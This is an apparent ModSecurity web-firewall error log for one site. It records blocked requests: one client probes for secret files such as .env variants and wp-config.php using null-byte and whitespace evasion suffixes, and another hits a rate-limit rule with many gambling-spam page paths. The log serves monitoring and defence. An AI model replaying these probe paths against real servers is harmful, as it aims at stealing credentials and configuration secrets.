[Sat Mar 14 23:11:10.308121 2026] [:error] [pid 49467:tid 49480] [client 105.154.119.217:56215] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.uat"] [unique_id "abV6jhZmjGJLG92GJiSojQAAA8s"], referer: https://github.com/search?q=topic%3Acooking-recipes&type=repositories
[Sat Mar 14 23:11:14.272934 2026] [:error] [pid 49433:tid 49457] [client 105.154.119.217:56605] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.uat."] [unique_id "abV6ksEQ_2QRXp9zrWZf-wAAA5Y"], referer: https://www.google.es/
[Sat Mar 14 23:11:17.016106 2026] [:error] [pid 49351:tid 49377] [client 105.154.119.217:56848] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.uat/"] [unique_id "abV6lRzAvuOUcwe0iz-E1AAAAxc"], referer: https://stackoverflow.com/
[Sat Mar 14 23:11:18.165158 2026] [:error] [pid 30154:tid 30176] [client 105.154.119.217:57158] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.uat%00"] [unique_id "abV6ll6OP9woRgp3v0GykAAAANA"], referer: https://duckduckgo.com/
[Sat Mar 14 23:11:19.335055 2026] [:error] [pid 49433:tid 49450] [client 105.154.119.217:57291] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.uat%20"] [unique_id "abV6l8EQ_2QRXp9zrWZf_QAAA48"], referer: https://twitter.com/
[Sat Mar 14 23:11:20.557554 2026] [:error] [pid 49351:tid 49374] [client 105.154.119.217:57426] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.uat%20"] [unique_id "abV6mBzAvuOUcwe0iz-E2gAAAxQ"], referer: https://www.quora.com/How-do-I-make-pizza-dough
[Sat Mar 14 23:11:23.923369 2026] [:error] [pid 61382:tid 61397] [client 105.154.119.217:57795] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.deploy"] [unique_id "abV6m_5UUtpNLvwsJ7gPJwAAAAs"], referer: https://www.youtube.com/
[Sat Mar 14 23:11:25.065050 2026] [:error] [pid 30154:tid 30168] [client 105.154.119.217:57992] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.deploy."] [unique_id "abV6nV6OP9woRgp3v0GykgAAAMg"], referer: https://www.goodreads.com/search?q=historical+fiction&qid=
[Sat Mar 14 23:11:29.183649 2026] [:error] [pid 49433:tid 49449] [client 105.154.119.217:58483] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.deploy%00"] [unique_id "abV6ocEQ_2QRXp9zrWZgAwAAA44"], referer: https://duckduckgo.com/
[Sat Mar 14 23:11:33.745533 2026] [:error] [pid 61382:tid 61392] [client 105.154.119.217:58817] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.deploy%20"] [unique_id "abV6pf5UUtpNLvwsJ7gPOgAAAAY"], referer: https://dev.to/search?q=react+hooks+tutorial
[Sat Mar 14 23:11:36.279459 2026] [:error] [pid 30154:tid 30180] [client 105.154.119.217:59327] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.deploy%20"] [unique_id "abV6qF6OP9woRgp3v0GykwAAANQ"], referer: https://www.amazon.com/dp/B08N5WRWNW?ref_=nav_em__k_ods_ha_0_1_1_3
[Sat Mar 14 23:11:40.848142 2026] [:error] [pid 49467:tid 49472] [client 105.154.119.217:59470] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php"] [unique_id "abV6rBZmjGJLG92GJiSorgAAA8M"], referer: https://stackoverflow.com/questions/7654321/how-to-center-a-div?noredirect=1
[Sat Mar 14 23:11:41.981427 2026] [:error] [pid 61383:tid 61417] [client 105.154.119.217:60005] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php."] [unique_id "abV6rS4SAn4TCd4o0dUkDAAAAQE"], referer: https://duckduckgo.com/?q=
[Sat Mar 14 23:11:43.043590 2026] [:error] [pid 61382:tid 61409] [client 105.154.119.217:60104] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php/"] [unique_id "abV6r_5UUtpNLvwsJ7gPPgAAABc"], referer: https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Ftravelblog.com
[Sat Mar 14 23:11:44.127809 2026] [:error] [pid 49351:tid 49369] [client 105.154.119.217:53120] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php%00"] [unique_id "abV6sBzAvuOUcwe0iz-FAQAAAw8"], referer: https://www.ebay.com/sch/i.html?_nkw=vintage+camera&_sacat=0
[Sat Mar 14 23:11:45.223688 2026] [:error] [pid 49351:tid 49360] [client 105.154.119.217:53165] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php%20"] [unique_id "abV6sRzAvuOUcwe0iz-FBwAAAwY"], referer: https://bitbucket.org/dashboard/overview
[Sat Mar 14 23:11:46.315359 2026] [:error] [pid 49351:tid 49354] [client 105.154.119.217:54917] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php%20"] [unique_id "abV6shzAvuOUcwe0iz-FCQAAAwA"], referer: https://bitbucket.org/dashboard/overview
[Sat Mar 14 23:29:12.283310 2026] [:error] [pid 30154:tid 30176] [client 38.242.236.112:53776] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abV-yF6OP9woRgp3v0G0PgAAANA"]
[Sat Mar 14 23:29:15.601517 2026] [:error] [pid 61382:tid 61398] [client 38.242.236.112:41340] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abV-y_5UUtpNLvwsJ7gRbQAAAAw"]
[Sat Mar 14 23:29:18.979543 2026] [:error] [pid 49351:tid 49359] [client 38.242.236.112:60236] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abV-zhzAvuOUcwe0iz-I-wAAAwU"]
[Sat Mar 14 23:29:22.096336 2026] [:error] [pid 49351:tid 49371] [client 38.242.236.112:60252] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abV-0hzAvuOUcwe0iz-JBgAAAxE"]
[Sat Mar 14 23:29:24.678691 2026] [:error] [pid 49293:tid 49299] [client 38.242.236.112:60262] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "abV-1DAUTjJFxypCRwKXVgAAAsQ"]
[Sat Mar 14 23:29:27.366427 2026] [:error] [pid 49433:tid 49435] [client 38.242.236.112:60278] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "abV-18EQ_2QRXp9zrWZh8wAAA4A"]
[Sat Mar 14 23:29:30.481455 2026] [:error] [pid 61382:tid 61393] [client 38.242.236.112:32798] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "abV-2v5UUtpNLvwsJ7gRegAAAAc"]
[Sat Mar 14 23:29:33.475989 2026] [:error] [pid 49293:tid 49312] [client 38.242.236.112:32810] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abV-3TAUTjJFxypCRwKXXgAAAtE"]
[Sat Mar 14 23:29:36.497850 2026] [:error] [pid 61382:tid 61409] [client 38.242.236.112:32814] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abV-4P5UUtpNLvwsJ7gRyQAAABc"]
[Sat Mar 14 23:29:39.348594 2026] [:error] [pid 61384:tid 61458] [client 38.242.236.112:56042] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abV-4_zibL2IYJprDHLO5QAAAc8"]
[Sat Mar 14 23:29:42.277980 2026] [:error] [pid 61384:tid 61443] [client 38.242.236.112:56054] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abV-5vzibL2IYJprDHLO5wAAAcA"]
[Sat Mar 14 23:29:45.398566 2026] [:error] [pid 49467:tid 49473] [client 38.242.236.112:56070] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abV-6RZmjGJLG92GJiSqHQAAA8Q"]
[Sat Mar 14 23:29:49.189029 2026] [:error] [pid 49293:tid 49310] [client 38.242.236.112:49010] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abV-7TAUTjJFxypCRwKXZgAAAs8"]
[Sat Mar 14 23:29:51.882102 2026] [:error] [pid 61382:tid 61390] [client 38.242.236.112:49026] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abV-7_5UUtpNLvwsJ7gR4QAAAAQ"]
[Sat Mar 14 23:29:54.762010 2026] [:error] [pid 49403:tid 49419] [client 38.242.236.112:49040] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abV-8oY5UNTbJBfyDKcLTAAAA04"]
[Sat Mar 14 23:29:57.669327 2026] [:error] [pid 49293:tid 49318] [client 38.242.236.112:49050] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abV-9TAUTjJFxypCRwKXdgAAAtc"]
[Sat Mar 14 23:30:00.382565 2026] [:error] [pid 61383:tid 61423] [client 38.242.236.112:46838] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abV--C4SAn4TCd4o0dUlDgAAAQc"]
[Sat Mar 14 23:30:03.869187 2026] [:error] [pid 49433:tid 49454] [client 38.242.236.112:46850] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abV--8EQ_2QRXp9zrWZiDwAAA5M"]
[Sat Mar 14 23:30:07.705362 2026] [:error] [pid 49293:tid 49311] [client 38.242.236.112:46858] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "abV-_zAUTjJFxypCRwKXkQAAAtA"]
[Sat Mar 14 23:30:32.169894 2026] [:error] [pid 49293:tid 49319] [client 38.242.236.112:60366] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abV_GDAUTjJFxypCRwKXzAAAAtg"]
[Sat Mar 14 23:30:35.064276 2026] [:error] [pid 49403:tid 49417] [client 38.242.236.112:60078] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abV_G4Y5UNTbJBfyDKcLVQAAA0w"]
[Sat Mar 14 23:30:37.880377 2026] [:error] [pid 61383:tid 61440] [client 38.242.236.112:60090] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abV_HS4SAn4TCd4o0dUlHwAAARg"]
[Sat Mar 14 23:30:40.578869 2026] [:error] [pid 49293:tid 49297] [client 38.242.236.112:50290] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abV_IDAUTjJFxypCRwKX0gAAAsI"]
[Sat Mar 14 23:30:43.568649 2026] [:error] [pid 61382:tid 61408] [client 38.242.236.112:50292] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abV_I_5UUtpNLvwsJ7gSFgAAABY"]
[Sat Mar 14 23:30:46.414641 2026] [:error] [pid 49351:tid 49374] [client 38.242.236.112:50306] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abV_JhzAvuOUcwe0iz-JawAAAxQ"]
[Sat Mar 14 23:30:49.058043 2026] [:error] [pid 49351:tid 49362] [client 38.242.236.112:55126] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "abV_KRzAvuOUcwe0iz-JdQAAAwg"]
[Sat Mar 14 23:30:51.763512 2026] [:error] [pid 61382:tid 61395] [client 38.242.236.112:55142] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abV_K_5UUtpNLvwsJ7gSHAAAAAk"]
[Sat Mar 14 23:30:54.555221 2026] [:error] [pid 49293:tid 49315] [client 38.242.236.112:55146] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abV_LjAUTjJFxypCRwKX1wAAAtQ"]
[Sat Mar 14 23:30:57.102249 2026] [:error] [pid 49433:tid 49444] [client 38.242.236.112:55158] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abV_McEQ_2QRXp9zrWZiMgAAA4k"]
[Sat Mar 14 23:31:00.188551 2026] [:error] [pid 49351:tid 49371] [client 38.242.236.112:44616] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "abV_NBzAvuOUcwe0iz-JkQAAAxE"]
[Sat Mar 14 23:31:03.364834 2026] [:error] [pid 49351:tid 49365] [client 38.242.236.112:44624] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abV_NxzAvuOUcwe0iz-JmwAAAws"]
[Sat Mar 14 23:31:06.087962 2026] [:error] [pid 49293:tid 49309] [client 38.242.236.112:44628] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abV_OjAUTjJFxypCRwKX3gAAAs4"]
[Sat Mar 14 23:31:08.996330 2026] [:error] [pid 30154:tid 30178] [client 38.242.236.112:50204] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "abV_PF6OP9woRgp3v0G0bgAAANI"]
[Sat Mar 14 23:31:11.604566 2026] [:error] [pid 30154:tid 30174] [client 38.242.236.112:50214] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abV_P16OP9woRgp3v0G0dAAAAM4"]
[Sat Mar 14 23:31:14.317653 2026] [:error] [pid 61477:tid 61504] [client 38.242.236.112:50220] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abV_Qqcx6muYfIYRM7DhTgAAAFc"]
[Sat Mar 14 23:31:16.976571 2026] [:error] [pid 49293:tid 49298] [client 38.242.236.112:50234] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abV_RDAUTjJFxypCRwKX5gAAAsM"]
